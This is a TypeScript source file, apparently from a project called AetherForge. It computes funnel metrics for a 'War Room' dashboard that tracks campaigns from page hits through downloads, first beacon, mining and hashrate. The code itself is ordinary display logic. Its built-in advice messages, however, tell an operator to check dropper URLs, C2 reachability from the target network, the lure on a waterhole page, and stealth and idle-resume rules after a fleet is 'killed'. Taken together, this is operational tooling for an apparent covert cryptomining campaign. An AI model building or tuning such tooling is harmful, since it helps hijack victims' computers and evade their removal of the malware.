Files
AetherForge/server/web/src/help/warRoom.ts
AetherForge a32860b0d9
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
feat: alive UI wave, galaxy presence, spread and fleet enhancements
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
2026-06-04 22:36:17 -07:00

232 lines
7.2 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
/** War Room funnel helpers for Emberwake campaign dashboard. */
export interface WarRoomCampaign {
campaign: string;
hits: number;
downloads: number;
first_beacon?: number;
mining?: number;
agents: number;
online: number;
hashrate: number;
conversion_pct: number;
daily_hits: number[];
last_activity?: string;
pins?: string[];
}
export interface WarRoomResponse {
generated_at: string;
days: number;
campaigns: WarRoomCampaign[];
}
export type FunnelStageId = 'hits' | 'downloads' | 'first_beacon' | 'mining' | 'hashrate';
export interface FunnelStage {
id: FunnelStageId;
label: string;
value: number;
display: string;
/** Conversion from previous stage (0 for first stage). */
rateFromPrev: number | null;
}
export type FunnelLeakSeverity = 'warn' | 'critical';
export interface FunnelLeak {
stage: string;
severity: FunnelLeakSeverity;
message: string;
action: string;
}
/** Agents ÷ hits × 100, rounded to one decimal. */
export function conversionPct(agents: number, hits: number): number {
if (hits <= 0) return 0;
return Math.round((agents / hits) * 1000) / 10;
}
/** Stage-to-stage conversion %, rounded to one decimal. */
export function stageConversionPct(to: number, from: number): number {
if (from <= 0) return 0;
return Math.round((to / from) * 1000) / 10;
}
/** Resolved first-beacon count (falls back to agents for older payloads). */
export function firstBeaconCount(c: WarRoomCampaign): number {
if (c.first_beacon != null) return c.first_beacon;
return c.agents ?? 0;
}
/** Resolved mining count (agents with hashrate > 0). */
export function miningCount(c: WarRoomCampaign): number {
if (c.mining != null) return c.mining;
return c.hashrate > 0 ? 1 : 0;
}
/** Left-to-right funnel stages for a campaign card. */
export function funnelStages(c: WarRoomCampaign): FunnelStage[] {
const beacon = firstBeaconCount(c);
const mining = miningCount(c);
const hits = c.hits ?? 0;
const downloads = c.downloads ?? 0;
return [
{ id: 'hits', label: 'Hits', value: hits, display: String(hits), rateFromPrev: null },
{
id: 'downloads',
label: 'Downloads',
value: downloads,
display: String(downloads),
rateFromPrev: stageConversionPct(downloads, hits),
},
{
id: 'first_beacon',
label: 'First beacon',
value: beacon,
display: String(beacon),
rateFromPrev: stageConversionPct(beacon, downloads),
},
{
id: 'mining',
label: 'Mining',
value: mining,
display: String(mining),
rateFromPrev: stageConversionPct(mining, beacon),
},
{
id: 'hashrate',
label: 'Hashrate',
value: c.hashrate ?? 0,
display: formatHashrate(c.hashrate),
rateFromPrev: mining > 0 && (c.hashrate ?? 0) > 0 ? 100 : stageConversionPct(c.hashrate > 0 ? 1 : 0, mining),
},
];
}
/** Max pipe fill width (0100) relative to funnel entry hits. */
export function funnelPipeWidth(stageValue: number, hits: number, isHashrate = false): number {
if (isHashrate) {
return stageValue > 0 ? 100 : 8;
}
if (hits <= 0) return stageValue > 0 ? 100 : 8;
return Math.max(8, Math.round((stageValue / hits) * 100));
}
/**
* Detect funnel leaks — actionable callouts when a stage drops sharply.
* Returns highest-severity leaks first.
*/
export function detectFunnelLeaks(c: WarRoomCampaign): FunnelLeak[] {
const hits = c.hits ?? 0;
const downloads = c.downloads ?? 0;
const beacon = firstBeaconCount(c);
const mining = miningCount(c);
const leaks: FunnelLeak[] = [];
if (hits >= 50 && beacon === 0) {
leaks.push({
stage: 'hits→beacon',
severity: 'critical',
message: `${hits} hits but zero agents — funnel dead before beacon.`,
action: 'Verify dropper URL, install script, and C2 reachability from target network.',
});
} else if (hits >= 20 && downloads === 0) {
leaks.push({
stage: 'hits→downloads',
severity: 'warn',
message: `${hits} page hits with no downloads.`,
action: 'Check lure CTA, blocked hosts, or broken /get link on the waterhole.',
});
}
if (downloads >= 5 && beacon === 0) {
leaks.push({
stage: 'downloads→beacon',
severity: 'critical',
message: `${downloads} downloads but no first beacon.`,
action: 'Worker may fail install — confirm server URL, TLS, and agent binary for target OS.',
});
}
if (beacon >= 3 && mining === 0) {
leaks.push({
stage: 'beacon→mining',
severity: 'warn',
message: `${beacon} agents connected but none mining.`,
action: 'Check pool/wallet in build, idle policy, GPU drivers, or Crucible schedule.',
});
}
if (beacon > 0 && mining > 0 && (c.hashrate ?? 0) <= 0 && (c.online ?? 0) === 0) {
leaks.push({
stage: 'mining→hashrate',
severity: 'warn',
message: 'Agents mined before but fleet is offline with zero hashrate.',
action: 'Fleet may have been killed — re-deploy or check stealth / idle resume rules.',
});
}
const order: Record<FunnelLeakSeverity, number> = { critical: 0, warn: 1 };
leaks.sort((a, b) => order[a.severity] - order[b.severity]);
return leaks;
}
/** Compact hashrate for table cells (H/s). */
export function formatHashrate(hs: number): string {
if (!hs || hs <= 0) return '—';
if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} kH/s`;
return `${Math.round(hs)} H/s`;
}
/** Max value in a daily hits series (for sparkline scaling). */
export function sparklineMax(values: number[]): number {
if (!values.length) return 1;
return Math.max(1, ...values);
}
/** Inline height % for CSS bar sparkline (0100). */
export function sparklineBarHeight(value: number, max: number): number {
if (max <= 0 || value <= 0) return 4;
return Math.max(8, Math.round((value / max) * 100));
}
/** Compact delta label for odometer tick-ups (null when unchanged). */
export function formatOdometerDelta(prev: number, next: number): string | null {
const delta = next - prev;
if (delta === 0 || !Number.isFinite(delta)) return null;
const sign = delta > 0 ? '+' : '';
const abs = Math.abs(delta);
if (abs >= 1_000_000) return `${sign}${(abs / 1_000_000).toFixed(1)}M`;
if (abs >= 10_000) return `${sign}${(abs / 1_000).toFixed(1)}k`;
if (Number.isInteger(abs) || abs >= 100) return `${sign}${Math.round(abs)}`;
return `${sign}${abs.toFixed(1)}`;
}
/** Stagger delay (ms) for funnel card stage animations. */
export function staggerDelayMs(cardIndex: number, itemIndex: number, baseMs = 45): number {
return cardIndex * 110 + itemIndex * baseMs;
}
/** Eased tick duration scales with magnitude of change. */
export function odometerDurationMs(delta: number): number {
const abs = Math.abs(delta);
if (abs <= 3) return 380;
if (abs <= 25) return 560;
if (abs <= 200) return 720;
return 920;
}
/** Cubic ease-out for odometer interpolation (0 → 1). */
export function odometerEase(t: number): number {
const clamped = Math.min(1, Math.max(0, t));
return 1 - (1 - clamped) ** 3;
}
/** Interpolate between two numeric endpoints with odometer easing. */
export function odometerLerp(from: number, to: number, progress: number): number {
return from + (to - from) * odometerEase(progress);
}